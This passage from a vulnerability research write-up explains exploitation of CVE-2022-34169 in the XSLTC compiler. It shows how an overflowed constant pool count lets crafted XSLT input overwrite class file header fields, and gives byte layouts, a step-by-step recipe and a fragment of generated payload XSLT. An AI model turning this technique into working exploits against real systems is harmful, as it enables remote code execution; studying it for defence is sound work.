vertical-align: baseline; white-space: pre-wrap;">15</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Describes a method handle.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_MethodHandle_info {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 tag;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 reference_kind;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 reference_index;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /></td></tr><tr style="height: 23.5pt;"><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html#jvms-4.4.9" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_MethodType</span></a></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">16</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Arial; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Describes a method type. Points to a UTF8 constant containing a method descriptor.</span></p></td><td style="background-color: white; border-bottom: solid #808080 0.75pt; border-left: solid #808080 0.75pt; border-right: solid #808080 0.75pt; border-top: solid #808080 0.75pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONSTANT_MethodType_info {</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u1 tag;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 descriptor_index;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><br /></td></tr></tbody></table></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">A perfect constant type for exploiting CVE-2022-34169 would be dynamically sized containing fully attacker controlled content. Unfortunately, no such type exists. While CONSTANT_Utf8 is dynamically sized, its content isn’t a raw string representation but an encoding format JVM calls “modified UTF-8”. This encoding introduces some significant restrictions on the data stored and rules out null bytes, making it mostly useless for corrupting class fields. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The next best thing we can get is a fixed size constant type with full control over the content. CONSTANT_Long seems like an obvious candidate, but XSLTC never creates attacker-controlled long constants during the compilation process. Instead we can use large floating numbers to create CONSTANT_Double entry with (almost) fully controlled content. This gives us a nice primitive where we can corrupt class fields behind the constant pool with a byte pattern like </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">0x06</span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #c53929; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xXX 0xXX 0xXX 0xXX 0xXX 0xXX 0xXX 0xXX </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">0x06</span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #3367d6; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xYY 0xYY 0xYY 0xYY 0xYY 0xYY 0xYY 0xYY</span><span style="color: #c53929; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">0x06</span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #ff9900; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xZZ 0xZZ 0xZZ 0xZZ 0xZZ 0xZZ 0xZZ 0xZZ</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Unfortunately, this primitive alone isn’t sufficient for crafting a useful class file due to the requirements of the fields right after the constant_pool:</span></p><br /><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none;"><colgroup></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #fafafa; border-bottom: solid #e0e0e0 1pt; border-left: solid #e0e0e0 1pt; border-right: solid #e0e0e0 1pt; border-top: solid #e0e0e0 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> cp_info constant_pool</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">constant_pool_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">-</span><span style="background-color: transparent; color: #c53929; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">1</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 access_flags</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 this_class</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 super_class</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p></td></tr></tbody></table></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">access_flags</span><span style="font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">is a big endian mask of </span><a href="https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html#jvms-4.4.7:~:text=Table%C2%A04.1%2DB.%C2%A0Class%20access%20and%20property%20modifiers" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">flags</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> describing access permissions and properties of the class. </span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">While the JVM is happy to ignore unknown flag values, we need to avoid setting flags like ACC_INTERFACE (0x0200) or ACC_ABSTRACT (0x0400) that result in an unusable class. This means that we can’t use a CONSTANT_Double entry as our first out-of-bound constant as its tag byte of 0x06 will get interpreted as these flags.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">this_class</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> is an index into the constant pool and has to point to a CONSTANT_Class entry that describes the class defined with this file. Fortunately, neither the JVM nor XSLTC cares much about which class we pretend to be, so this value can point to almost any CONSTANT_Class entry that XSLTC ends up generating. (The only restriction is that it can’t be a part of a protected namespace like java.lang.)</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">super_class</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> is another index to a CONSTANT_Class entry in the constant pool. While the JVM is happy with any class, XSLTC expects this to be a reference to the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">org.apache.xalan.xsltc.runtime.AbstractTranslet</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> class, otherwise loading and initialization of the class file fails.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">After a lot of trial and error I ended up with the following approach to meet these requirements:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #24292f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONST_STRING</span><span style="color: #38761d; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">CONST_DOUBLE</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: #fce5cd; color: #38761d; font-family: "Roboto Mono", monospace; font-size: 14pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x08 0x07 </span><span style="background-color: #fce5cd; color: red; font-family: "Roboto Mono", monospace; font-size: 14pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x02</span><span style="background-color: #fce5cd; font-family: "Roboto Mono", monospace; font-size: 14pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="font-family: "Roboto Mono", monospace; font-size: 14pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #fce5cd; color: red; font-family: "Roboto Mono", monospace; font-size: 14pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x06 </span><span style="background-color: #fce5cd; color: #ff9900; font-family: "Roboto Mono", monospace; font-size: 14pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xXX 0xXX</span><span style="background-color: #fce5cd; color: red; font-family: "Roboto Mono", monospace; font-size: 14pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #fce5cd; color: #4a86e8; font-family: "Roboto Mono", monospace; font-size: 14pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x00 0x00</span><span style="background-color: #fce5cd; color: red; font-family: "Roboto Mono", monospace; font-size: 14pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #fce5cd; color: #9900ff; font-family: "Roboto Mono", monospace; font-size: 14pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0x00 0x00</span><span style="background-color: #fce5cd; color: red; font-family: "Roboto Mono", monospace; font-size: 14pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: #fce5cd; color: magenta; font-family: "Roboto Mono", monospace; font-size: 14pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">0xZZ 0xZZ</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #38761d; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">access_flags </span><span style="color: red; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">this_class</span><span style="color: #38761d; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #ff9900; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">super_class </span><span style="color: #4a86e8; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ints_count</span><span style="color: #ff9900; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #9900ff; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">fields_count</span><span style="color: #ff9900; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: magenta; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">methods_count</span></p><br /><ol style="margin-bottom: 0; margin-top: 0; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: decimal; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">We craft a XSLT input that results in 0x10703 constants in the pool. This will result in a truncated pool size of 0x703 and the start of the constant at index 0x703 (due to 0 based indexing) will be interpreted as </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">access_flags</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: decimal; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">During compilation of the input, we trigger the addition of a new string constant when the pool has 0x702 constants. This will first create a CONSTANT_Utf8 entry at index 0x702 and a CONSTANT_String entry at 0x703. The String entry will reference the preceding Utf8 constant so its value will be the tag byte 0x08 followed by the index 0x07 0x02. This results in an usable access_flags value of 0x0807. </span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: decimal; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Add a CONSTANT_Double entry at index 0x704. Its 0x06 tag byte will be interpreted as part of the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">this_class</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> field. The following 2 bytes can then be used to control the value of the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">super_class</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> field. By setting the next 4 bytes to 0x00, we create an empty interface and fields arrays, before setting the last two bytes to the number of methods we want to define. </span></p></li></ol><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The only remaining requirement is that we need to add a CONSTANT_Class entry at index 0x206 of the constant pool, which is relatively straightforward. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The snippet below shows part of the generated XSLT input that will overwrite the first header fields. After filling the constant pool with a large number of string constants for the attribute fields and values, the CONST_STRING entry for the `jEb` element ends up at index 0x703. The XSLT function call to the `ceiling` function then triggers the addition of a controlled CONST_DOUBLE entry at index 0x704:</span></p><br /><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none;"><colgroup></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #fafafa; border-bottom: solid #e0e0e0 1pt; border-left: solid #e0e0e0 1pt; border-right: solid #e0e0e0 1pt; border-top: solid #e0e0e0 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><jse jsf='jsg' … jDL</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">'jDM'</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> jDN</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">'jDO'</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> jDP</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">'jDQ'</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> jDR</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">'jDS'</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> jDT</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">'jDU'</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> jDV</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">'jDW'</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> jDX</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">'jDY'</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> jDZ</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">'jEa'</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">/></span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"><</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; 